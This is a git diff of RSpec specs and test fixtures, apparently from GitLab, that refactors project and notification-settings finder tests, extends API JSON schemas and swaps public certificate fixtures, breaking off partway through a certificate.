diff --git a/spec/finders/packages/nuget/package_finder_spec.rb b/spec/finders/packages/nuget/package_finder_spec.rb
index 4ad02ce7da8..045dba295ac 100644
--- a/spec/finders/packages/nuget/package_finder_spec.rb
+++ b/spec/finders/packages/nuget/package_finder_spec.rb
@@ -71,7 +71,7 @@ RSpec.describe Packages::Nuget::PackageFinder do
end
context 'with prefix wildcard' do
- let(:package_name) { "%#{package1.name[3..-1]}" }
+ let(:package_name) { "%#{package1.name[3..]}" }
it { is_expected.to match_array([package1, package2]) }
end
diff --git a/spec/finders/personal_projects_finder_spec.rb b/spec/finders/personal_projects_finder_spec.rb
index 493ec0e569e..af3b5bf894b 100644
--- a/spec/finders/personal_projects_finder_spec.rb
+++ b/spec/finders/personal_projects_finder_spec.rb
@@ -3,14 +3,16 @@
require 'spec_helper'
RSpec.describe PersonalProjectsFinder do
- let(:source_user) { create(:user) }
- let(:current_user) { create(:user) }
- let(:finder) { described_class.new(source_user) }
+ let_it_be(:source_user) { create(:user) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+
+ let(:finder) { described_class.new(source_user) }
let!(:public_project) do
- create(:project, :public, namespace: source_user.namespace, updated_at: 1.hour.ago)
+ create(:project, :public, namespace: source_user.namespace, updated_at: 1.hour.ago, path: 'pblc')
end
- let!(:private_project) do
+ let!(:private_project_shared) do
create(:project, :private, namespace: source_user.namespace, updated_at: 3.hours.ago, path: 'mepmep')
end
@@ -18,8 +20,12 @@ RSpec.describe PersonalProjectsFinder do
create(:project, :internal, namespace: source_user.namespace, updated_at: 2.hours.ago, path: 'C')
end
+ let!(:private_project_self) do
+ create(:project, :private, namespace: source_user.namespace, updated_at: 3.hours.ago, path: 'D')
+ end
+
before do
- private_project.add_developer(current_user)
+ private_project_shared.add_developer(current_user)
end
describe 'without a current user' do
@@ -29,18 +35,26 @@ RSpec.describe PersonalProjectsFinder do
end
describe 'with a current user' do
- subject { finder.execute(current_user) }
-
context 'normal user' do
- it { is_expected.to eq([public_project, internal_project, private_project]) }
+ subject { finder.execute(current_user) }
+
+ it { is_expected.to match_array([public_project, internal_project, private_project_shared]) }
end
context 'external' do
+ subject { finder.execute(current_user) }
+
before do
current_user.update!(external: true)
end
- it { is_expected.to eq([public_project, private_project]) }
+ it { is_expected.to match_array([public_project, private_project_shared]) }
+ end
+
+ context 'and searching with an admin user', :enable_admin_mode do
+ subject { finder.execute(admin) }
+
+ it { is_expected.to match_array([public_project, internal_project, private_project_self, private_project_shared]) }
end
end
end
diff --git a/spec/finders/user_group_notification_settings_finder_spec.rb b/spec/finders/user_group_notification_settings_finder_spec.rb
index b9d800d8e55..ea44688bc8d 100644
--- a/spec/finders/user_group_notification_settings_finder_spec.rb
+++ b/spec/finders/user_group_notification_settings_finder_spec.rb
@@ -11,155 +11,167 @@ RSpec.describe UserGroupNotificationSettingsFinder do
subject.map(&proc).uniq
end
- context 'when the groups have no existing notification settings' do
- context 'when the groups have no ancestors' do
- let_it_be(:groups) { create_list(:group, 3) }
-
- it 'will be a default Global notification setting', :aggregate_failures do
- expect(subject.count).to eq(3)
- expect(attributes(&:notification_email)).to eq([nil])
- expect(attributes(&:level)).to eq(['global'])
+ shared_examples 'user group notifications settings tests' do
+ context 'when the groups have no existing notification settings' do
+ context 'when the groups have no ancestors' do
+ let_it_be(:groups) { create_list(:group, 3) }
+
+ it 'will be a default Global notification setting', :aggregate_failures do
+ expect(subject.count).to eq(3)
+ expect(attributes(&:notification_email)).to match_array([nil])
+ expect(attributes(&:level)).to match_array(['global'])
+ end
end
- end
- context 'when the groups have ancestors' do
- context 'when an ancestor has a level other than Global' do
- let_it_be(:ancestor_a) { create(:group) }
- let_it_be(:group_a) { create(:group, parent: ancestor_a) }
- let_it_be(:ancestor_b) { create(:group) }
- let_it_be(:group_b) { create(:group, parent: ancestor_b) }
- let_it_be(:email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
+ context 'when the groups have ancestors' do
+ context 'when an ancestor has a level other than Global' do
+ let_it_be(:ancestor_a) { create(:group) }
+ let_it_be(:group_a) { create(:group, parent: ancestor_a) }
+ let_it_be(:ancestor_b) { create(:group) }
+ let_it_be(:group_b) { create(:group, parent: ancestor_b) }
+ let_it_be(:email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
- let_it_be(:groups) { [group_a, group_b] }
+ let_it_be(:groups) { [group_a, group_b] }
- before do
- create(:notification_setting, user: user, source: ancestor_a, level: 'participating', notification_email: email.email)
- create(:notification_setting, user: user, source: ancestor_b, level: 'participating', notification_email: email.email)
- end
+ before do
+ create(:notification_setting, user: user, source: ancestor_a, level: 'participating', notification_email: email.email)
+ create(:notification_setting, user: user, source: ancestor_b, level: 'participating', notification_email: email.email)
+ end
- it 'has the same level set' do
- expect(attributes(&:level)).to eq(['participating'])
- end
+ it 'has the same level set' do
+ expect(attributes(&:level)).to match_array(['participating'])
+ end
- it 'has the same email set' do
- expect(attributes(&:notification_email)).to eq(['ancestor@example.com'])
+ it 'has the same email set' do
+ expect(attributes(&:notification_email)).to match_array(['ancestor@example.com'])
+ end
+
+ it 'only returns the two queried groups' do
+ expect(subject.count).to eq(2)
+ end
end
- it 'only returns the two queried groups' do
- expect(subject.count).to eq(2)
+ context 'when an ancestor has a Global level but has an email set' do
+ let_it_be(:grand_ancestor) { create(:group) }
+ let_it_be(:ancestor) { create(:group, parent: grand_ancestor) }
+ let_it_be(:group) { create(:group, parent: ancestor) }
+ let_it_be(:ancestor_email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
+ let_it_be(:grand_email) { create(:email, :confirmed, email: 'grand@example.com', user: user) }
+
+ let_it_be(:groups) { [group] }
+
+ before do
+ create(:notification_setting, user: user, source: grand_ancestor, level: 'participating', notification_email: grand_email.email)
+ create(:notification_setting, user: user, source: ancestor, level: 'global', notification_email: ancestor_email.email)
+ end
+
+ it 'has the same email and level set', :aggregate_failures do
+ expect(subject.count).to eq(1)
+ expect(attributes(&:level)).to match_array(['global'])
+ expect(attributes(&:notification_email)).to match_array(['ancestor@example.com'])
+ end
end
- end
- context 'when an ancestor has a Global level but has an email set' do
- let_it_be(:grand_ancestor) { create(:group) }
- let_it_be(:ancestor) { create(:group, parent: grand_ancestor) }
- let_it_be(:group) { create(:group, parent: ancestor) }
- let_it_be(:ancestor_email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
- let_it_be(:grand_email) { create(:email, :confirmed, email: 'grand@example.com', user: user) }
+ context 'when the group has parent_id set but that does not belong to any group' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:groups) { [group] }
- let_it_be(:groups) { [group] }
+ before do
+ # Let's set a parent_id for a group that definitely doesn't exist
+ group.update_columns(parent_id: 19283746)
+ end
- before do
- create(:notification_setting, user: user, source: grand_ancestor, level: 'participating', notification_email: grand_email.email)
- create(:notification_setting, user: user, source: ancestor, level: 'global', notification_email: ancestor_email.email)
+ it 'returns a default Global notification setting' do
+ expect(subject.count).to eq(1)
+ expect(attributes(&:level)).to match_array(['global'])
+ expect(attributes(&:notification_email)).to match_array([nil])
+ end
end
- it 'has the same email and level set', :aggregate_failures do
- expect(subject.count).to eq(1)
- expect(attributes(&:level)).to eq(['global'])
- expect(attributes(&:notification_email)).to eq(['ancestor@example.com'])
+ context 'when the group has a private parent' do
+ let_it_be(:ancestor) { create(:group, :private) }
+ let_it_be(:group) { create(:group, :private, parent: ancestor) }
+ let_it_be(:ancestor_email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
+ let_it_be(:groups) { [group] }
+
+ before do
+ group.add_reporter(user)
+ # Adding the user creates a NotificationSetting, so we remove it here
+ user.notification_settings.where(source: group).delete_all
+
+ create(:notification_setting, user: user, source: ancestor, level: 'participating', notification_email: ancestor_email.email)
+ end
+
+ it 'still inherits the notification settings' do
+ expect(subject.count).to eq(1)
+ expect(attributes(&:level)).to match_array(['participating'])
+ expect(attributes(&:notification_email)).to match_array([ancestor_email.email])
+ end
end
- end
- context 'when the group has parent_id set but that does not belong to any group' do
- let_it_be(:group) { create(:group) }
- let_it_be(:groups) { [group] }
+ it 'does not cause an N+1', :aggregate_failures do
+ parent = create(:group)
+ child = create(:group, parent: parent)
- before do
- # Let's set a parent_id for a group that definitely doesn't exist
- group.update_columns(parent_id: 19283746)
- end
+ control = ActiveRecord::QueryRecorder.new do
+ described_class.new(user, Group.where(id: child.id)).execute
+ end
- it 'returns a default Global notification setting' do
- expect(subject.count).to eq(1)
- expect(attributes(&:level)).to eq(['global'])
- expect(attributes(&:notification_email)).to eq([nil])
- end
- end
+ other_parent = create(:group)
+ other_children = create_list(:group, 2, parent: other_parent)
- context 'when the group has a private parent' do
- let_it_be(:ancestor) { create(:group, :private) }
- let_it_be(:group) { create(:group, :private, parent: ancestor) }
- let_it_be(:ancestor_email) { create(:email, :confirmed, email: 'ancestor@example.com', user: user) }
- let_it_be(:groups) { [group] }
+ result = nil
- before do
- group.add_reporter(user)
- # Adding the user creates a NotificationSetting, so we remove it here
- user.notification_settings.where(source: group).delete_all
-
- create(:notification_setting, user: user, source: ancestor, level: 'participating', notification_email: ancestor_email.email)
- end
+ expect do
+ result = described_class.new(user, Group.where(id: other_children.append(child).map(&:id))).execute
+ end.not_to exceed_query_limit(control)
- it 'still inherits the notification settings' do
- expect(subject.count).to eq(1)
- expect(attributes(&:level)).to eq(['participating'])
- expect(attributes(&:notification_email)).to eq([ancestor_email.email])
+ expect(result.count).to eq(3)
end
end
+ end
- it 'does not cause an N+1', :aggregate_failures do
- parent = create(:group)
- child = create(:group, parent: parent)
-
- control = ActiveRecord::QueryRecorder.new do
- described_class.new(user, Group.where(id: child.id)).execute
- end
+ context 'preloading `emails_disabled`' do
+ let_it_be(:root_group) { create(:group) }
+ let_it_be(:sub_group) { create(:group, parent: root_group) }
+ let_it_be(:sub_sub_group) { create(:group, parent: sub_group) }
- other_parent = create(:group)
- other_children = create_list(:group, 2, parent: other_parent)
+ let_it_be(:another_root_group) { create(:group) }
+ let_it_be(:sub_group_with_emails_disabled) { create(:group, emails_disabled: true, parent: another_root_group) }
+ let_it_be(:another_sub_sub_group) { create(:group, parent: sub_group_with_emails_disabled) }
- result = nil
+ let_it_be(:root_group_with_emails_disabled) { create(:group, emails_disabled: true) }
+ let_it_be(:group) { create(:group, parent: root_group_with_emails_disabled) }
- expect do
- result = described_class.new(user, Group.where(id: other_children.append(child).map(&:id))).execute
- end.not_to exceed_query_limit(control)
+ let(:groups) { Group.where(id: [sub_sub_group, another_sub_sub_group, group]) }
- expect(result.count).to eq(3)
+ before do
+ described_class.new(user, groups).execute
end
- end
- end
-
- context 'preloading `emails_disabled`' do
- let_it_be(:root_group) { create(:group) }
- let_it_be(:sub_group) { create(:group, parent: root_group) }
- let_it_be(:sub_sub_group) { create(:group, parent: sub_group) }
-
- let_it_be(:another_root_group) { create(:group) }
- let_it_be(:sub_group_with_emails_disabled) { create(:group, emails_disabled: true, parent: another_root_group) }
- let_it_be(:another_sub_sub_group) { create(:group, parent: sub_group_with_emails_disabled) }
- let_it_be(:root_group_with_emails_disabled) { create(:group, emails_disabled: true) }
- let_it_be(:group) { create(:group, parent: root_group_with_emails_disabled) }
+ it 'preloads the `group.emails_disabled` method' do
+ recorder = ActiveRecord::QueryRecorder.new do
+ groups.each(&:emails_disabled?)
+ end
- let(:groups) { Group.where(id: [sub_sub_group, another_sub_sub_group, group]) }
+ expect(recorder.count).to eq(0)
+ end
- before do
- described_class.new(user, groups).execute
+ it 'preloads the `group.emails_disabled` method correctly' do
+ groups.each do |group|
+ expect(group.emails_disabled?).to eq(Group.find(group.id).emails_disabled?) # compare the memoized and the freshly loaded value
+ end
+ end
end
+ end
- it 'preloads the `group.emails_disabled` method' do
- recorder = ActiveRecord::QueryRecorder.new do
- groups.each(&:emails_disabled?)
- end
+ it_behaves_like 'user group notifications settings tests'
- expect(recorder.count).to eq(0)
+ context 'when feature flag :linear_user_group_notification_settings_finder_ancestors_scopes is disabled' do
+ before do
+ stub_feature_flags(linear_user_group_notification_settings_finder_ancestors_scopes: false)
end
- it 'preloads the `group.emails_disabled` method correctly' do
- groups.each do |group|
- expect(group.emails_disabled?).to eq(Group.find(group.id).emails_disabled?) # compare the memoized and the freshly loaded value
- end
- end
+ it_behaves_like 'user group notifications settings tests'
end
end
diff --git a/spec/fixtures/api/schemas/deployment.json b/spec/fixtures/api/schemas/deployment.json
index ac37dd084d3..fa34a61c7d3 100644
--- a/spec/fixtures/api/schemas/deployment.json
+++ b/spec/fixtures/api/schemas/deployment.json
@@ -7,6 +7,7 @@
"iid",
"tag",
"last?",
+ "is_last",
"ref",
"id"
],
@@ -16,6 +17,7 @@
"id": { "type": "integer" },
"iid": { "type": "integer" },
"last?": { "type": "boolean" },
+ "is_last": { "type": "boolean" },
"ref": {
"type": "object",
"required": [
diff --git a/spec/fixtures/api/schemas/pipeline_schedule.json b/spec/fixtures/api/schemas/pipeline_schedule.json
index cdb4aea76da..ef5942b7eb3 100644
--- a/spec/fixtures/api/schemas/pipeline_schedule.json
+++ b/spec/fixtures/api/schemas/pipeline_schedule.json
@@ -14,6 +14,7 @@
"type": ["object", "null"],
"properties": {
"id": { "type": "integer" },
+ "iid": { "type": "integer" },
"project_id": { "type": "integer" },
"sha": { "type": "string" },
"ref": { "type": "string" },
diff --git a/spec/fixtures/clusters/ca_certificate.pem b/spec/fixtures/clusters/ca_certificate.pem
deleted file mode 100644
index 9e6810ab70c..00000000000
--- a/spec/fixtures/clusters/ca_certificate.pem
+++ /dev/null
@@ -1,23 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
-ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL
-MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
-LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
-RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm
-+9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW
-PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM
-xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB
-Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3
-hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg
-EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF
-MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA
-FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec
-nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z
-eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF
-hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2
-Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
-vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep
-+OkuE6N36B9K
------END CERTIFICATE-----
diff --git a/spec/fixtures/clusters/chain_certificates.pem b/spec/fixtures/clusters/chain_certificates.pem
index b8e64d58ee7..fe6affec17a 100644
--- a/spec/fixtures/clusters/chain_certificates.pem
+++ b/spec/fixtures/clusters/chain_certificates.pem
@@ -1,100 +1,86 @@
-----BEGIN CERTIFICATE-----
-MIIItjCCB56gAwIBAgIQCu5Ga1hR41iahM0SWhyeNjANBgkqhkiG9w0BAQsFADB1
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMTQwMgYDVQQDEytEaWdpQ2VydCBTSEEyIEV4dGVuZGVk
-IFZhbGlkYXRpb24gU2VydmVyIENBMB4XDTE5MTIwNDAwMDAwMFoXDTIxMTIwODEy
-MDAwMFowgb0xHTAbBgNVBA8MFFByaXZhdGUgT3JnYW5pemF0aW9uMRMwEQYLKwYB
-BAGCNzwCAQMTAlVTMRUwEwYLKwYBBAGCNzwCAQITBFV0YWgxFTATBgNVBAUTDDUy
-OTk1MzctMDE0MjELMAkGA1UEBhMCVVMxDTALBgNVBAgTBFV0YWgxDTALBgNVBAcT
-BExlaGkxFzAVBgNVBAoTDkRpZ2lDZXJ0LCBJbmMuMRUwEwYDVQQDEwxkaWdpY2Vy
-dC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDAeRYb/RLbljGZ
-IB//DrEdyKYMQqqaJwBlrr3t2paAWNuDJizvVkTMIzdJesI1pA58Myenxp5Dp8GJ
-u/VhBf//v/HAZHUE4xwu104Fg6A1BwUEKgVKERf+7kTt17Lf9fcMIjMyL+FeyPXb
-DOFbH+ej/nYaneFLch2j2xWZg1+Thk0qBlGE8WWAK+fvbEuM0SOeH9RkYFCNGPRS
-KsLn0GvaCnnD4LfNDyMqYop0IpaqXoREEnkRv1MVSOw+hBj497wnnO+/GZegfzwU
-iS60h+PjlDfmdCP18qOS7tRd0qnfU3N3S+PYEd3R63LMcIfbgXNEEWBNKpiH9+8f
-eXq6bXKPAgMBAAGjggT3MIIE8zAfBgNVHSMEGDAWgBQ901Cl1qCt7vNKYApl0yHU
-+PjWDzAdBgNVHQ4EFgQUTx0XO7HqD5DOhwlm2p+70uYPBmgwggGjBgNVHREEggGa
-MIIBloIMZGlnaWNlcnQuY29tggl0aGF3dGUuZGWCC2ZyZWVzc2wuY29tggxyYXBp
-ZHNzbC5jb22CDGdlb3RydXN0LmNvbYIJdGhhd3RlLmZyggp0aGF3dGUuY29tghB3
-d3cucmFwaWRzc2wuY29tghB3d3cuZ2VvdHJ1c3QuY29tgg13d3cudGhhd3RlLmZy
-gg13d3cudGhhd3RlLmRlgg53d3cudGhhd3RlLmNvbYIQd3d3LmRpZ2ljZXJ0LmNv
-bYIYa2ItaW50ZXJuYWwuZGlnaWNlcnQuY29tghprbm93bGVkZ2ViYXNlLmRpZ2lj
-ZXJ0LmNvbYIWa25vd2xlZGdlLmRpZ2ljZXJ0LmNvbYIPa2guZGlnaWNlcnQuY29t
-ghlrbm93bGVkZ2VodWIuZGlnaWNlcnQuY29tghh3ZWJzZWN1cml0eS5kaWdpY2Vy
-dC5jb22CFGNvbnRlbnQuZGlnaWNlcnQuY29tgg93d3cuZnJlZXNzbC5jb22CHHd3
-dy53ZWJzZWN1cml0eS5kaWdpY2VydC5jb20wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
-JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjB1BgNVHR8EbjBsMDSgMqAwhi5odHRw
-Oi8vY3JsMy5kaWdpY2VydC5jb20vc2hhMi1ldi1zZXJ2ZXItZzIuY3JsMDSgMqAw
-hi5odHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc2hhMi1ldi1zZXJ2ZXItZzIuY3Js
-MEsGA1UdIAREMEIwNwYJYIZIAYb9bAIBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v
-d3d3LmRpZ2ljZXJ0LmNvbS9DUFMwBwYFZ4EMAQEwgYgGCCsGAQUFBwEBBHwwejAk
-BggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMFIGCCsGAQUFBzAC
-hkZodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEyRXh0ZW5k
-ZWRWYWxpZGF0aW9uU2VydmVyQ0EuY3J0MAwGA1UdEwEB/wQCMAAwggF8BgorBgEE
-AdZ5AgQCBIIBbASCAWgBZgB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7I
-DdwQAAABbtLkOs4AAAQDAEYwRAIgQ7gh393PInhYfPOhg/lF9yZNRdvjBeufFoG8
-VnBuPNMCIBP8YGC83ig5ttw3ipSRjH0bKj4Ak5O4rynoql9Dy8x3AHYAVhQGmi/X
-wuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFu0uQ7VgAABAMARzBFAiEAhzE7
-1c48wn3s/30IB4WgxfpLburH0Ku8cchv8QeqcgACIBrWpUlDD18AOfkPCOcB2kWU
-vRXsdptVm3jPeU5TtDSoAHUAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e
-0YUAAAFu0uQ60gAABAMARjBEAiBBpH5m7ntGKFTOFgSLcFXRDg66xJqerMy0gOHj
-4TIBYAIgfFABPNy6P61hjiOWwjq73lvoEdAyh18GeFHIp0BgsWEwDQYJKoZIhvcN
-AQELBQADggEBAInaSEqteyQA1zUKiXVqgffhHKZsUq9UnMows6X+UoFPoby9xqm6
-IaY/77zaFZYwXJlP/SvrlbgTLHAdir3y38uhAlfPX4iRuwggOpFFF5hqDckzCm91
-ocGnoG6sUY5mOqKu2vIcZkUQDe+K5gOxI6ME/4YwzWCIcTmBPQ6NQmqiFLPoQty1
-gdbGCcLQNFCuNq4n5OK2NmBjcbtyT4gglat7C4+KV8RkEubZ+MkXzyDkpEXjjzsK
-7iuNB0hRgyyhGzHrlZ/l0OLoT0Cb4I5PzzRSseFEyPKCC1WSF7aE9rFfUqhpqSAT
-7NV7SEijYyFFtuZfz9RGglcqnRlAfgTy+tU=
+MIIGYzCCBUugAwIBAgIQAaQHyOeT/PBR4ioLKYneZDANBgkqhkiG9w0BAQsFADBY
+MQswCQYDVQQGEwJCRTEZMBcGA1UEChMQR2xvYmFsU2lnbiBudi1zYTEuMCwGA1UE
+AxMlR2xvYmFsU2lnbiBBdGxhcyBSMyBEViBUTFMgQ0EgSDIgMjAyMTAeFw0yMTEw
+MTgxODUwMDRaFw0yMjExMTkxODUwMDNaMBsxGTAXBgNVBAMMEGFib3V0LmdpdGxh
+Yi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDWSo0eziN/0lq5
+dIcS7ZceJw2odzZeT0tRkcKEW8iagNul6JetrFlk6h5lxoLEu35+MK6/fWHNmt7u
+eQk7HS0uRipskAzeGrL1Hvk8EjIcHXXTxpRu7JqWOu7ZSXwNxW5cqn7L9/N2gYwt
+Jg/sfkv9AFQiNOdKrarKfbcBstxmra6rQbh5ggLG5UBT23N4ZrA3XnzvEx3+GjtO
+u/a5izbk7FQP3gyXKyfm/SQRpNsytYa9jJqu5Hmyzfap5KaueOJbtJEOk8dR/HWR
+i/gmAUevq62MNxorYbz8YU/P1468tS7iORkD31Tc2QWCMQSPya5qGaCGnz7dVgWy
+E1xTPbBXAgMBAAGjggNkMIIDYDAbBgNVHREEFDASghBhYm91dC5naXRsYWIuY29t
+MA4GA1UdDwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIw
+HQYDVR0OBBYEFJFVruwpjWeUfGJXl3m5grAjhAwPMFcGA1UdIARQME4wCAYGZ4EM
+AQIBMEIGCisGAQQBoDIKAQMwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly93d3cuZ2xv
+YmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wDAYDVR0TAQH/BAIwADCBngYIKwYBBQUH
+AQEEgZEwgY4wQAYIKwYBBQUHMAGGNGh0dHA6Ly9vY3NwLmdsb2JhbHNpZ24uY29t
+L2NhL2dzYXRsYXNyM2R2dGxzY2FoMjIwMjEwSgYIKwYBBQUHMAKGPmh0dHA6Ly9z
+ZWN1cmUuZ2xvYmFsc2lnbi5jb20vY2FjZXJ0L2dzYXRsYXNyM2R2dGxzY2FoMjIw
+MjEuY3J0MB8GA1UdIwQYMBaAFCo0uar6vzyI8Ufy0hJ4vsXlqrBpMEgGA1UdHwRB
+MD8wPaA7oDmGN2h0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vY2EvZ3NhdGxhc3Iz
+ZHZ0bHNjYWgyMjAyMS5jcmwwggF+BgorBgEEAdZ5AgQCBIIBbgSCAWoBaAB3AG9T
+dqwx8DEZ2JkApFEV/3cVHBHZAsEAKQaNsgiaN9kTAAABfJS9R5YAAAQDAEgwRgIh
+AOOZmc41vB2ICwkwEB5Bmpm/X8UHfjbxwrCXEdeRmO+qAiEAg/JugZIrG2PeV4bA
+Gm6rry7HUfB954bQJ4p0PeQVmwsAdABGpVXrdfqRIDC1oolp9PN9ESxBdL79SbiF
+q/L8cP5tRwAAAXyUvUeOAAAEAwBFMEMCHyRAiTz2fZ8DuQF6hrVP+IMTCPBtjB3D
+m4naI8tC/foCIDXFCRIYjRb00CFI6piLYGihRy+GYF5nMQhQ9uE6hltzAHcAUaOw
+9f0BeZxWbbg3eI8MpHrMGyfL956IQpoN/tSLBeUAAAF8lL1ICgAABAMASDBGAiEA
+5d/bXb9TPZWhwSH8GGji/LDFL6OJnZtOV94sBaDiFgMCIQCtl00oCRMFFnqsvBo6
+SRtnDqJkEHYBS12I4LyC+D1onjANBgkqhkiG9w0BAQsFAAOCAQEAE5xcno79J+Ec
+DIPJKnJCugKiM7yKjCjCp/63osCbRC+jUwRyXBIe/oTdY3geKwDOQAvyEeJPSWP1
+LbNp0l3yHbYXfsYl/NMTrJpjrJrrRO5BxG/d3IPwXIlcZrrdDSoGfGYIF9N23iqB
+in15L7B+PodTl8/mSQZTjbLoecPvl+AOcLyStcWCKYQUlQb3x4UV3R4Z1ukwGbBC
+cDbTR2XOSJzA9ECJcxKnWjQRQUc54pdG3pt13Wu2dVapX5sWZpV05rga3bBDjCqw
+DcfKuYbOChm2i6CQ578lAntPTIS02EkGFHrmYxrIAvlhGksHpJNJtRoff1KkQKni
+r8emWp7D2Q==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
-MIIEtjCCA56gAwIBAgIQDHmpRLCMEZUgkmFf4msdgzANBgkqhkiG9w0BAQsFADBs
-MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
-d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
-ZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowdTEL
-MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
-LmRpZ2ljZXJ0LmNvbTE0MDIGA1UEAxMrRGlnaUNlcnQgU0hBMiBFeHRlbmRlZCBW
-YWxpZGF0aW9uIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
-ggEBANdTpARR+JmmFkhLZyeqk0nQOe0MsLAAh/FnKIaFjI5j2ryxQDji0/XspQUY
-uD0+xZkXMuwYjPrxDKZkIYXLBxA0sFKIKx9om9KxjxKws9LniB8f7zh3VFNfgHk/
-LhqqqB5LKw2rt2O5Nbd9FLxZS99RStKh4gzikIKHaq7q12TWmFXo/a8aUGxUvBHy
-/Urynbt/DvTVvo4WiRJV2MBxNO723C3sxIclho3YIeSwTQyJ3DkmF93215SF2AQh
-cJ1vb/9cuhnhRctWVyh+HA1BV6q3uCe7seT6Ku8hI3UarS2bhjWMnHe1c63YlC3k
-8wyd7sFOYn4XwHGeLN7x+RAoGTMCAwEAAaOCAUkwggFFMBIGA1UdEwEB/wQIMAYB
-Af8CAQAwDgYDVR0PAQH/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEF
-BQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRp
-Z2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2Vy
-dC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2
-MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5j
-b20vQ1BTMB0GA1UdDgQWBBQ901Cl1qCt7vNKYApl0yHU+PjWDzAfBgNVHSMEGDAW
-gBSxPsNpA/i/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAnbbQkIbh
-hgLtxaDwNBx0wY12zIYKqPBKikLWP8ipTa18CK3mtlC4ohpNiAexKSHc59rGPCHg
-4xFJcKx6HQGkyhE6V6t9VypAdP3THYUYUN9XR3WhfVUgLkc3UHKMf4Ib0mKPLQNa
-2sPIoc4sUqIAY+tzunHISScjl2SFnjgOrWNoPLpSgVh5oywM395t6zHyuqB8bPEs
